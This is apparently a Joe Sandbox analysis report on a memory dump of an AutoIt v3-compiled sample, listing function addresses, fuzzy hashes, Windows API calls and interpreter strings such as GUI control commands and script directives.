Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2fcf02db8cc504e51126dcd662e34de9a2b7b03addb260806afa0946ac2afcb0
Instruction ID: 3162b6ebd9a13cc1817ab6cb13e897dcd0d2031a8cd4ec39aaafd9b6a7fe038c
Opcode Fuzzy Hash: 2fcf02db8cc504e51126dcd662e34de9a2b7b03addb260806afa0946ac2afcb0
Instruction Fuzzy Hash: 1EA0113000020CAB8A002B82FC08888BFACEA002A0B0080A0FE0E800228B32A8208A80

Function 00248A0E Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc74b3226b2100abb2c8ff3cde101bba765143efdd45423e900a43b7b374f93c
Instruction ID: a55ed087fbedd4f777f7362e5bbed0e17bb1c148f48e017faad711d6399d3cde
Opcode Fuzzy Hash: fc74b3226b2100abb2c8ff3cde101bba765143efdd45423e900a43b7b374f93c
Instruction Fuzzy Hash: 03224634932667CBDF2C9F24C4D467DB7A1EB01304F28846BD9428B2E1EB749DA1DB61

Function 00252405 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 988feb91b2590ccaeda15919f3ce66bcdc32f14ff1ae6fe412db9be3c6177326
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 74C1823222919349DB2D8A39947413EBAE15AA37B331A075DECB2DB5C4EF30D53CD624

Function 0025283A Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: c42c6f7f07730dd7078900b3ef9dbb41742ddda3a059fa4fe33c76e7861a889e
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 90C1923222919349DB2D4A39943413EBBE15BA37B231A076DECB2DB5C5EF30D53C9624

Function 002B37F3 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 002B38AF
IsWindowVisible.USER32(?), ref: 002B38D3

Strings

HIDEDROPDOWN, xrefs: 002B3988
SETCURRENTSELECTION, xrefs: 002B3A3E
GETLINECOUNT, xrefs: 002B3B4E
SELECTSTRING, xrefs: 002B3A8E
EDITPASTE, xrefs: 002B3BE7
TABRIGHT, xrefs: 002B3925
FINDSTRING, xrefs: 002B39FE
TABLEFT, xrefs: 002B390F
DELSTRING, xrefs: 002B39D1
ISENABLED, xrefs: 002B38F3
SENDCOMMANDID, xrefs: 002B3C62
GETCURRENTSELECTION, xrefs: 002B3A6B
CURRENTTAB, xrefs: 002B3945
UNCHECK, xrefs: 002B3B0B
GETCURRENTLINE, xrefs: 002B3B75
CHECK, xrefs: 002B3AF5
GETSELECTED, xrefs: 002B3B2B
ISVISIBLE, xrefs: 002B38BF
GETLINE, xrefs: 002B3C23
GETCURRENTCOL, xrefs: 002B3BB0
ISCHECKED, xrefs: 002B3AC1
SHOWDROPDOWN, xrefs: 002B3968
ADDSTRING, xrefs: 002B399E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 2f04deaad1d588835f92be703de15caa86c9a91bc628f663776e8459b6a74c62
Instruction ID: c90b00b60ebd42cca419f20e2b547449660424d145ed77f0ff8afe3172a2b064
Opcode Fuzzy Hash: 2f04deaad1d588835f92be703de15caa86c9a91bc628f663776e8459b6a74c62
Instruction Fuzzy Hash: C9D1B234234306DBCB15EF14C991AAABBA5EF54384F144458BC865B3E2CB71EE6ACF41

Function 002BA849 Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 002BA89F
GetSysColorBrush.USER32(0000000F), ref: 002BA8D0
GetSysColor.USER32(0000000F), ref: 002BA8DC
SetBkColor.GDI32(?,000000FF), ref: 002BA8F6
SelectObject.GDI32(?,?), ref: 002BA905
InflateRect.USER32(?,000000FF,000000FF), ref: 002BA930
GetSysColor.USER32(00000010), ref: 002BA938
CreateSolidBrush.GDI32(00000000), ref: 002BA93F
FrameRect.USER32(?,?,00000000), ref: 002BA94E
DeleteObject.GDI32(00000000), ref: 002BA955
InflateRect.USER32(?,000000FE,000000FE), ref: 002BA9A0
FillRect.USER32(?,?,?), ref: 002BA9D2
GetWindowLongW.USER32(?,000000F0), ref: 002BA9FD

Part of subcall function 002BAB60: GetSysColor.USER32(00000012), ref: 002BAB99
Part of subcall function 002BAB60: SetTextColor.GDI32(?,?), ref: 002BAB9D
Part of subcall function 002BAB60: GetSysColorBrush.USER32(0000000F), ref: 002BABB3
Part of subcall function 002BAB60: GetSysColor.USER32(0000000F), ref: 002BABBE
Part of subcall function 002BAB60: GetSysColor.USER32(00000011), ref: 002BABDB
Part of subcall function 002BAB60: CreatePen.GDI32(00000000,00000001,00743C00), ref: 002BABE9
Part of subcall function 002BAB60: SelectObject.GDI32(?,00000000), ref: 002BABFA
Part of subcall function 002BAB60: SetBkColor.GDI32(?,00000000), ref: 002BAC03
Part of subcall function 002BAB60: SelectObject.GDI32(?,?), ref: 002BAC10
Part of subcall function 002BAB60: InflateRect.USER32(?,000000FF,000000FF), ref: 002BAC2F
Part of subcall function 002BAB60: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 002BAC46
Part of subcall function 002BAB60: GetWindowLongW.USER32(00000000,000000F0), ref: 002BAC5B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: b162325a755b6c6c65c3d04b2fb6e921cda8a01374b0bf3a7e8c7fce42dc92a2
Instruction ID: d0b968df9c3c6ed6ef4e82967669699a09594409801c67482acccf59eebc92a8
Opcode Fuzzy Hash: b162325a755b6c6c65c3d04b2fb6e921cda8a01374b0bf3a7e8c7fce42dc92a2
Instruction Fuzzy Hash: EAA18F72018301BFD7509F68ED0CAAB7BA9FF88361F104B29F9A6961A1D771D844CF52

Function 002A77BE Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 002A77F1
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 002A78B0
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 002A78EE
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 002A7900
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 002A7946
GetClientRect.USER32(00000000,?), ref: 002A7952
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 002A7996
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 002A79A5
GetStockObject.GDI32(00000011), ref: 002A79B5
SelectObject.GDI32(00000000,00000000), ref: 002A79B9
GetTextFaceW.GDI32(00000000,00000040,?), ref: 002A79C9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 002A79D2
DeleteDC.GDI32(00000000), ref: 002A79DB
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 002A7A07
SendMessageW.USER32(00000030,00000000,00000001), ref: 002A7A1E
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 002A7A59
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 002A7A6D
SendMessageW.USER32(00000404,00000001,00000000), ref: 002A7A7E
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 002A7AAE
GetStockObject.GDI32(00000011), ref: 002A7AB9
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 002A7AC4
ShowWindow.USER32(00000004), ref: 002A7ACE

Strings

msctls_progress32, xrefs: 002A7A4F
static, xrefs: 002A7990, 002A7AA8
DISPLAY, xrefs: 002A799B
AutoIt v3, xrefs: 002A793E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: dce2a19a0fe595936070c6feee0182af32693b7b6d7309a79d7230925daf4a05
Instruction ID: 2780d7e37bdd2268f3a1befb659bc65f9d59c1d30373a50d6797771960d2a356
Opcode Fuzzy Hash: dce2a19a0fe595936070c6feee0182af32693b7b6d7309a79d7230925daf4a05
Instruction Fuzzy Hash: B4A160B1A50205BFEB149B68ED4EFAA7BB9EB45710F004614FA14A72E0CB74AD10DB64

Function 0029AF7B Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0029AF89
GetDriveTypeW.KERNEL32(?,002BFAC0,?,\\.\,002BF910), ref: 0029B066
SetErrorMode.KERNEL32(00000000,002BFAC0,?,\\.\,002BF910), ref: 0029B1C4

Strings

SATA, xrefs: 0029B177
ATA, xrefs: 0029B13F
Fibre, xrefs: 0029B154
SCSI, xrefs: 0029B131
Network, xrefs: 0029B0A4
Unknown, xrefs: 0029B086, 0029B12A
SAS, xrefs: 0029B170
PhysicalDrive, xrefs: 0029B012
iSCSI, xrefs: 0029B169
Fixed, xrefs: 0029B0AE
Virtual, xrefs: 0029B18C
RAID, xrefs: 0029B162
ATAPI, xrefs: 0029B138
SSD, xrefs: 0029B0F1
MMC, xrefs: 0029B185
1394, xrefs: 0029B146
Removable, xrefs: 0029B0B8
RAMDisk, xrefs: 0029B090
FileBackedVirtual, xrefs: 0029B193
\\.\, xrefs: 0029AFDB
SSA, xrefs: 0029B14D
USB, xrefs: 0029B15B
CDROM, xrefs: 0029B09A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 60a6535d29e3156c71d83094009ba5e059de7b1ab7ecf650331236b891836179
Instruction ID: c301568de095a5e1a1997fa1910aeff9f958e45aa68c3d94d15dcf8dc683a3b0
Opcode Fuzzy Hash: 60a6535d29e3156c71d83094009ba5e059de7b1ab7ecf650331236b891836179
Instruction Fuzzy Hash: 6A51C0706F0345ABCF05EF15EF929BDB3B0AB1A341B604016E40EA7290C7B5AD71DB52

Function 00236A3C Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00236A91
__wcsnicmp.LIBCMT ref: 00236AA9
__wcsnicmp.LIBCMT ref: 00236AC1
__wcsnicmp.LIBCMT ref: 00236AD9
__wcsnicmp.LIBCMT ref: 00236AF1
__wcsnicmp.LIBCMT ref: 00236B09
__wcsnicmp.LIBCMT ref: 00236B21
__wcsnicmp.LIBCMT ref: 00236B35
__wcsnicmp.LIBCMT ref: 00236B76
__wcsnicmp.LIBCMT ref: 00236B8A
__wcsnicmp.LIBCMT ref: 00236B9E
__wcsnicmp.LIBCMT ref: 00236BB2

Strings

#comments-start, xrefs: 00236B1B, 00236B70
#comments-end, xrefs: 00236B98
#include, xrefs: 00236B03
Cannot parse #include, xrefs: 0026E819
#requireadmin, xrefs: 00236ABB
Unterminated group of comments, xrefs: 0026E82C
#ce, xrefs: 00236BAC
#include-once, xrefs: 00236AEB
#pragma compile, xrefs: 00236A8B
Bad directive syntax error, xrefs: 0026E743
#OnAutoItStartRegister, xrefs: 00236AD3
#cs, xrefs: 00236B2F, 00236B84
#notrayicon, xrefs: 00236AA3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: efd03d639d80da6f60477264347c72d875e68d312dc598c55346b382e1710f1b
Instruction ID: de98dd4a313d44cf1ba0fcd2193945005d74003964cf5946b5089ff8da04aad3
Opcode Fuzzy Hash: efd03d639d80da6f60477264347c72d875e68d312dc598c55346b382e1710f1b
Instruction Fuzzy Hash: 16814CF0670202BACF21AF60CD86FBAB75CAF15745F048025FD45AA1C2EB70DA75CA95

Function 00232C18 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00232CA2
DeleteObject.GDI32(00000000), ref: 00232CE8
DeleteObject.GDI32(00000000), ref: 00232CF3
DestroyCursor.USER32(00000000), ref: 00232CFE
DestroyWindow.USER32(00000000), ref: 00232D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 0026C68B
69E7E349.COMCTL32(?,000000FF,?), ref: 0026C6C4
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0026CAED

Part of subcall function 00231B41: InvalidateRect.USER32(?,00000000,00000001), ref: 00231B9A

SendMessageW.USER32(?,00001053), ref: 0026CB2A
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0026CB41

Strings

0, xrefs: 0026C981

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DestroyMessageSendWindow$DeleteObject$CursorE349InvalidateMoveRect
String ID: 0
API String ID: 2631842597-4108050209
Opcode ID: 67710f9ac64ebe9a426abc246990b2227bdc930acc624d19be32448fb19b4c53
Instruction ID: ad30477780f7d4a3f65711a0a61ce6d8b30e7490ea6c722241302e31554edc3a
Opcode Fuzzy Hash: 67710f9ac64ebe9a426abc246990b2227bdc930acc624d19be32448fb19b4c53
Instruction Fuzzy Hash: 3B12A270520202EFDB25EF24C988BB9B7E5BF45310F64456AE495DB262C731ECA5CF90

Function 002BAB60 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 002BAB99
SetTextColor.GDI32(?,?), ref: 002BAB9D
GetSysColorBrush.USER32(0000000F), ref: 002BABB3
GetSysColor.USER32(0000000F), ref: 002BABBE
CreateSolidBrush.GDI32(?), ref: 002BABC3
GetSysColor.USER32(00000011), ref: 002BABDB
CreatePen.GDI32(00000000,00000001,00743C00), ref: 002BABE9
SelectObject.GDI32(?,00000000), ref: 002BABFA
SetBkColor.GDI32(?,00000000), ref: 002BAC03
SelectObject.GDI32(?,?), ref: 002BAC10
InflateRect.USER32(?,000000FF,000000FF), ref: 002BAC2F
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 002BAC46
GetWindowLongW.USER32(00000000,000000F0), ref: 002BAC5B
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 002BACA7
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 002BACCE
InflateRect.USER32(?,000000FD,000000FD), ref: 002BACEC
DrawFocusRect.USER32(?,?), ref: 002BACF7
GetSysColor.USER32(00000011), ref: 002BAD05
SetTextColor.GDI32(?,00000000), ref: 002BAD0D
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 002BAD21
SelectObject.GDI32(?,002BA869), ref: 002BAD38
DeleteObject.GDI32(?), ref: 002BAD43
SelectObject.GDI32(?,?), ref: 002BAD49
DeleteObject.GDI32(?), ref: 002BAD4E
SetTextColor.GDI32(?,?), ref: 002BAD54
SetBkColor.GDI32(?,?), ref: 002BAD5E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 46d525f888fc8593845c33f3e26c32164c7ee7d8851c403981cb12d77c6b2d19
Instruction ID: 1897326c90b5e0c0af483f7f0f342968dff3a799097796932991b2e39e8b8151
Opcode Fuzzy Hash: 46d525f888fc8593845c33f3e26c32164c7ee7d8851c403981cb12d77c6b2d19
Instruction Fuzzy Hash: 14618C71910218FFDB119FA8ED48EEE7B79FB08320F108626F915AB2A1D6719950CF90

Function 002B8C44 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 002B8D34
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 002B8D45
CharNextW.USER32(0000014E), ref: 002B8D74
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 002B8DB5
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 002B8DCB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 002B8DDC
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 002B8DF9
SetWindowTextW.USER32(?,0000014E), ref: 002B8E45
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 002B8E5B
SendMessageW.USER32(?,00001002,00000000,?), ref: 002B8E8C
_memset.LIBCMT ref: 002B8EB1
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 002B8EFA
_memset.LIBCMT ref: 002B8F59
SendMessageW.USER32(?,00001053,000000FF,?), ref: 002B8F83
SendMessageW.USER32(?,00001074,?,00000001), ref: 002B8FDB
SendMessageW.USER32(?,0000133D,?,?), ref: 002B9088
InvalidateRect.USER32(?,00000000,00000001), ref: 002B90AA
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 002B90F4
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 002B9121
DrawMenuBar.USER32(?), ref: 002B9130
SetWindowTextW.USER32(?,0000014E), ref: 002B9158

Strings

0, xrefs: 002B90C2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

